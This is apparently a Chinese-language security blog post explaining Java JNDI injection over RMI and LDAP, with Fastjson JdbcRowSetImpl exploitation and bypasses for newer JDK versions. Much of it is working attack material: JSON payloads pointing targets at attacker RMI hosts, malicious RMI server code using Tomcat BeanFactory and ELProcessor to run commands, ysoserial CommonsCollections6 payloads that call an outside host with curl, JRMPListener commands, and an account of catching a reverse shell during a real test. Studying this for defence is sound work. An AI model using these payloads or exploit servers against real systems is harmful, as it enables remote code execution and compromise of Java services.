Java JNDI 注入原理与高 JDK 版本绕过

学习 Java JNDI 注入

0x01 JNDI 注入原理

1. 什么是 JNDI ?

Java Naming and Directory Interface (JNDI),Java 命名和目录接口

客户端可以使用 JNDI 通过名称来发现和查找数据和对象,这些要查找对象可以存储在不同的命名或目录服务中,比如 Remote Method Invocation (RMI),Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) 或者 Domain Name Service (DNS)

官方结构图如下:

img

Remote Method Invocation (RMI),远程方法调用

这个概念和 RPC 有点相似,但当然是不一样的,RPC 是 Remote Procedure Call,即远程过程调用,RMI 是远程方法调用,是面向对象的,以对象作为参数,https://www.geeksforgeeks.org/difference-between-rpc-and-rmi/

JAVA 的 RMI 依赖的通信协议为 JRMP (Java Remote Message Protocol ,Java 远程消息交换协议) ,而且在 RMI 中对象通过序列化的方式进行编码传输

RMI 的远程方法调用过程

RMI 是如何调用远程方法的呢,难道是把远程对象下载到客户端?RMI 确实传递了一个对象,但不是要使用的远程对象,而是 stub 对象, Java RMI stubs 是一个特殊类,用于客户端调用远程对象方法

the stub downloadling process

上图为客户端获取 Java RMI stubs 的过程 ,stub 中含有远程对象的通信地址和端口等信息,调用过程如下:

  1. 客户端调用 stub 上的方法

  2. stub 连接到服务器,提交参数

  3. 服务器执行对应的方法,返回结果

  4. stub 将结果交给客户端

图中的 RMI Registry 即为 RMI 注册表,客户端连接后,用来返回远程对象的 stub,默认监听在 1099 端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    try {
Hello hello = new HelloImpl();
Registry registry = null;
try {
// 创建Registry
registry = LocateRegistry.createRegistry(1099);
} catch (Exception e) {
e.printStackTrace();
}
//绑定远程对象到 Registry
registry.bind("hello", hello);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}

客户端查询

1
2
3
4
Registry registry = LocateRegistry.getRegistry("remote_host", 1099);
// 获取远程对象的引用
Hello hello = (Hello) registry.lookup("hello");
hello.sayHello("hello");

2. JNDI References 注入

所谓的 JNDI 注入就是控制 lookup 函数的参数,这样来使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象,从而执行代码,完成利用

在 JNDI 服务中,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用 Reference 类实现的。Reference 类表示对存在于命名/目录系统以外的对象的引用。

具体则是指如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时,则可以从其他服务器上加载 class 字节码文件来实例化

Reference 类常用属性:

  • className 远程加载时所使用的类名
  • classFactory 加载的 class 中需要实例化类的名称
  • classFactoryLocation 提供 classes 数据的地址可以是 file/ftp/http 等协议

比如:

1
2
Reference reference = new Reference("Exploit","Exploit","http://evilHost/" );			
registry.bind("Exploit", new ReferenceWrapper(reference));

此时,假设使用 rmi 协议,客户端通过 lookup 函数请求上面 bind 设置的 Exploit

1
2
Context ctx = new InitialContext();
ctx.lookup("rmi://evilHost/Exploit");

因为绑定的是 Reference 对象,客户端在本地 CLASSPATH 查找 Exploit 类,如果没有则根据设定的 Reference 属性,到URL: http://evilHost/Exploit.class 获取构造对象实例,构造方法中的恶意代码就会被执行

3. Fastjson JdbcRowSetImpl 反序列化利用

这里以 Fastjson 为例,利用 JNDI 注入和 JdbcRowSetImpl 利用链实现 RCE

Fastjson 是 Alibaba 的一个 JSON 库 https://github.com/alibaba/fastjson

通过 https://github.com/CaijiOrz/fastjson-1.2.47-RCE 中的 marshalsec-0.0.3-SNAPSHOT-all.jar 快速开启 RMI 或者 LDAP 服务

然后在 Exploit.class 所在的目录开启一个 HTTP 服务,再 nc 监听一个端口接收反弹 shell 即可

Payload:

1
2
3
4
5
6
7
8
9
10
11
{
"name": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://192.168.169.112:1099/Exploit",
"autoCommit": true
}
}

成功反弹 shell

image-20200806184550746

该漏洞环境的 Java 版本是 openjdk 1.8.0_102,实际环境中在目标服务器上经常会遇到高版本 jdk,

Oracle JDK 6u45、7u21 之后:

java.rmi.server.useCodebaseOnly 的默认值被设置为 true

禁用自动加载远程类文件,仅从 CLASSPATH 和当前 JVM 的 java.rmi.server.codebase 指定路径加载

https://www.oracle.com/java/technologies/javase/6u45-relnotes.html

https://www.oracle.com/java/technologies/javase/7u21-relnotes.html

RMI + JNDI References

Oracle JDK 6u141、7u131、8u121之后:

增加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 选项,默认值为 false

不允许 RMI 和 CORBA 从远程的 Codebase 加载 Reference 工厂类

https://www.oracle.com/java/technologies/javase/6-relnotes.html#R160_141

https://www.oracle.com/java/technologies/javase/7u131-relnotes.html

https://www.oracle.com/java/technologies/javase/8u121-relnotes.html

https://www.oracle.com/java/technologies/javase/6-relnotes.html

LDAP + JNDI References

Oracle JDK 11.0.1、8u191、7u201、6u211之后:

设置 com.sun.jndi.ldap.object.trustURLCodebase 默认为 false

禁止 LDAP 协议使用远程 codebase

https://www.oracle.com/java/technologies/javase/11u-relnotes.html

https://www.oracle.com/java/technologies/javase/8u-relnotes.html

https://www.oracle.com/java/technologies/javase/7-support-relnotes.html#R170_201

关于 codebase 的官方文档:https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html

能看出使用 LDAP 攻击的话,允许的 JDK 版本相对 RMI 要高一些,适用性会更强一些,只需要将 RMI 服务换成 LDAP 即可,同时 lookup 函数中的地址类型也要修改

4. JDNI 注入在高版本 JDK 的绕过

因为高版本禁止远程加载,那就在目标本地的 classpath(一组目录的集合,用于 jvm 搜索 class) 中找一个类作为恶意的 Reference Factory 工厂类,利用这个本地 Factory 类执行命令,或者直接构造恶意的序列化对象,利用反序列化Gadget完成利用,因为 JNDI 注入会对该对象进行反序列化

即:

  • 利用本地 Class 作为 Reference Factory
  • 利用LDAP返回序列化数据,触发本地Gadget

(1)利用本地 Class 作为 Reference Factory

满足要求的工厂类条件:

  1. 存在于目标本地的 CLASSPATH 中
  2. 实现 javax.naming.spi.ObjectFactory 接口
  3. 少存在一个 getObjectInstance() 方法

而存在于 Tomcat 依赖包中的 org.apache.naming.factory.BeanFactory 就是个不错的选择

getObjectInstance 方法如下

image-20200807173228459

上图 119 行,传入的 Reference为 ResourceRef 类,后面通过反射的方式实例化 Reference 所指向的任意 Bean Class,调用 setter 方法为所有的属性赋值,该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象

再看后面代码

image-20200807181110449

因为是 newInstance,所以只能调用无参构造,这就要求目标 class 得有无参构造方法,上面图中 “forceString” 可以给属性强制指定一个 setter 方法,参数为一个 String 类型

于是找到 javax.el.ELProcessor 作为目标 class,利用 el 表达式执行命令,工具 https://github.com/welk1n/JNDI-Injection-Bypass 中的 EvilRMIServer.java 部分代码如下

1
2
3
4
5
6
7
8
9
10
11
public ReferenceWrapper execByEL() throws RemoteException, NamingException{
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", String.format(
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
")",
commandGenerator.getBase64CommandTpl()
)));
return new ReferenceWrapper(ref);
}

从代码中能看出该工具还有另一个利用方法,groovy.lang.GroovyShell,原理也是类似的

利用条件:

目标环境含有以下依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>

因为要使用 javax.el.ELProcessor,所以需要 Tomcat 8+,SpringBoot 1.2.x+

恶意 RMI 服务代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class App
{
public static void main( String[] args )
{
try {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("hello",referenceWrapper);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
} catch (NamingException e) {
e.printStackTrace();
}
}
}
实战案例

在一次测试任务中正好遇到了这类情况,服务器 JDK 版本略高(get shell 后发现是 openjdk 1.8.0_201),存在 fastjson <= 1.2.47 的反序列化漏洞,如下

image-20200807155451495

但是使用 RMI + JNDI References 注入或者 LDAP + JNDI References 注入都是不行的,因为 JDK 版本限制,但是由于测试发现目标使用的是 springBoot,所以可以试一试 tomcat-el 利用链,利用本地 Class 作为 Reference Factory

这里直接使用 https://github.com/welk1n/JNDI-Injection-Bypass 的代码了,放在服务器上启动一个恶意 RMI Server

image-20200807150818908

payload 打一下

1
2
3
4
5
6
7
8
9
10
11
{
"name": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://vps_host/ExecByEL",
"autoCommit": true
}
}

image-20200807151023449

服务器接收到请求,默认反弹的 shell 监听端口是 5555,可以在 EvilRMIServer.java 代码里改

接收反弹 shell

image-20200807151130413

(2)利用反序列化触发本地 Gadget

在使用 LDAP + JNDI Reference 注入受到目标 JDK 版本限制的时候,无法让目标使用我们的远程类,这时可以使用 LDAP 直接返回一个序列化的对象数据,因为如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化,利用目标本地 classpath 中的 gadget 进行反序列化而完成漏洞利用

假设目标使用了存在漏洞的 Commons Collections,先使用 ysoserial 生成一条反序列化 payload

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'curl 192.168.169.112:7777' | base64

image-20200810101742998

因为现在 jdk 1.8 用的比较多,一些老 payload 如 CommonsCollections1、3 因为 jdk 更新了 AnnotationInvocationHandler,所以用不了,会出现java.lang.Override missing element entrySet 的错误

搭建恶意 ldap 服务,这里就直接使用 https://github.com/kxcode/JNDI-Exploit-Bypass-Demo 中的代码了

修改环境所需要的 pom.xml,在 HackerLDAPRefServer.java 中的 javaSerializedData 更改 payload,然后 maven 构建即可,注意要打包好依赖

image-20200810104109129

启动服务

1
java -cp hackerserver-jar-with-dependencies.jar HackerLDAPRefServer 192.168.169.112 8888 1389

image-20200810104303709

下面是更改客户端代码,在项目中 PoC 目录,fastjsonjndi.Victim,只需要如下代码触发即可,其它代码可以先注释掉,更改对应的 Commons Collections 版本,将项目依赖打包好

image-20200810104603056

根据自定义的 payload,监听对应端口,启动客户端,进行 JNDI lookup,成功利用反序列化执行系统命令

1
java -cp VictimClient-jar-with-dependencies.jar fastjsonjndi.Victim

img

(3)JRPM 反序列化

关于 JRMP 协议(Java Remote Message Protocol),在上文中页有所提及,是 RMI 专用的 Java 远程消息交换协议,在 RMI 中,对象通过序列化的方式进行编码传输

服务端攻击客户端

首先利用 ysoserial 生成 payload 并建立一个 JRMPListener,作为服务端

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "open /Applications/Calculator.app"

下面找一个简单的客户端 lookup 连接即可,就直接使用上面的 Victim.java 修改了

其它代码注释,添加

1
2
3
4
5
6
7
try {
Registry registry = LocateRegistry.getRegistry(1099);
HelloInterface hello = (HelloInterface) registry.lookup("hello");
System.out.println(hello.sayHello("hello!"));
} catch (Exception e) {
e.printStackTrace();
}

接口类要继承 java.rmi.Remote

1
2
3
public interface HelloInterface extends java.rmi.Remote {
public String sayHello(String from) throws java.rmi.RemoteException;
}

现在,启动客户端,连接服务端,如下图所示,由于客户端反序列化服务端返回的 payload 数据,成功利用 CommonsCollections6 弹出计算器

new

反过来客户端打服务端也是可以的,可以利用 ysoserial.exploit.JRMPClient

Reference

https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://www.smi1e.top/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0%E4%B9%8Bjndi%E6%B3%A8%E5%85%A5/

https://xz.aliyun.com/t/7079

文章作者: J0k3r
文章链接: http://j0k3r.top/2020/08/11/java-jndi-inject/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog